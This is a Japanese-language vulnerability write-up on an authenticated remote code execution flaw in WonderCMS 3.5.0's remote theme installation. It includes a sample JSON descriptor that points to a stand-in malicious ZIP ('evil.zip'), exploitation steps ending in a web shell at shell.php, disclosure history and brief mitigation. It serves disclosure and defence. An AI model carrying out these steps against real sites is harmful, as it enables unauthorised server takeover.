
悪意のあるテーマインストールを介したWonderCMS 3.5.0の認証済みRCEエクスプロイト。脆弱性のメカニズム、PoC、およびセキュリティテストと教育のための緩和ガイダンスが含まれています。
WonderCMS v3.5.0 には、認証済みリモートコード実行 (RCE) の脆弱性が存在します。
この問題は、アプリケーションが JSON 記述子を介した リモートテーマ/モジュールのインストール を処理する方法に起因します。管理者が ZIP アーカイブを参照するリモート JSON ファイルを送信すると、その内容が Web アクセス可能なディレクトリ (例: /themes/) に展開されます。ZIP に PHP ファイルが含まれている場合、そのファイルは Web 経由でアクセス可能になり、実行される可能性があります。
この動作により、以下の理由から RCE のリスクが生じます:
注: 管理者認証が必要ですが、デフォルトのインストールでは管理者パスワードが (ホームページ上で) 公開され、パスワードのみのログインが使用され、強力な認証制御は適用されません。
WonderCMS は、送信された JSON 記述子が期待される wcms-modules.json 形式と一致する場合、リモートモジュール/テーマを受理してインストールを試みます。形式チェックに合格した (ZIP アーカイブを指す) 記述子は取得され、そのアーカイブの内容は、ファイルタイプのさらなる検証なしに、Web アクセス可能なディレクトリ (例: /themes/<名前>/) に展開されます。
記述子の例 :
{
"themes": {
"SSRF": {
"name": "FAKE",
"repo": "https://example.com/",
"zip": "https://example.com/evil.zip",
"summary": "test",
"version": "1.0.0",
"image": "https://example.com/fake.png"
}
}
}
警告: 本番環境では実行しないでください。許可されたテスト環境でのみ使用してください。
デフォルトの WonderCMS インストールの公開ホームページから管理者パスワードを取得します。
管理パネルにログインします。
テーマインストールセクションに移動します。
悪意のある JSON 記述子の URL を入力します (例: 攻撃者が管理するサーバーでホストされているもの)。
インストールを開始します。サーバーは以下を実行します:
ダウンロードした悪意のあるテーマをインストールします。
抽出された PHP シェル (例: http://target.com/themes/<Theme_Name>/shell.php) にアクセスして、任意のコマンドを実行します。
(注: これらの手順は管理されたテスト環境でのみ実行してください。許可なく稼働中のシステムでこの脆弱性を悪用することは違法です。)
脆弱性は 2025 年 7 月に WonderCMS メンテナーに報告されました。
メンテナーは報告を確認しましたが、管理者にとってはこの動作は許容範囲であるという見解を示しました。
露出を低減するには:
themes/ または plugins/ 内の実行可能ファイルへのアクセスを防ぐ。この情報は、防御的なセキュリティ研究および教育目的で提供されています。脆弱性をテストまたは開示する前に、必ず適切な許可を取得してください。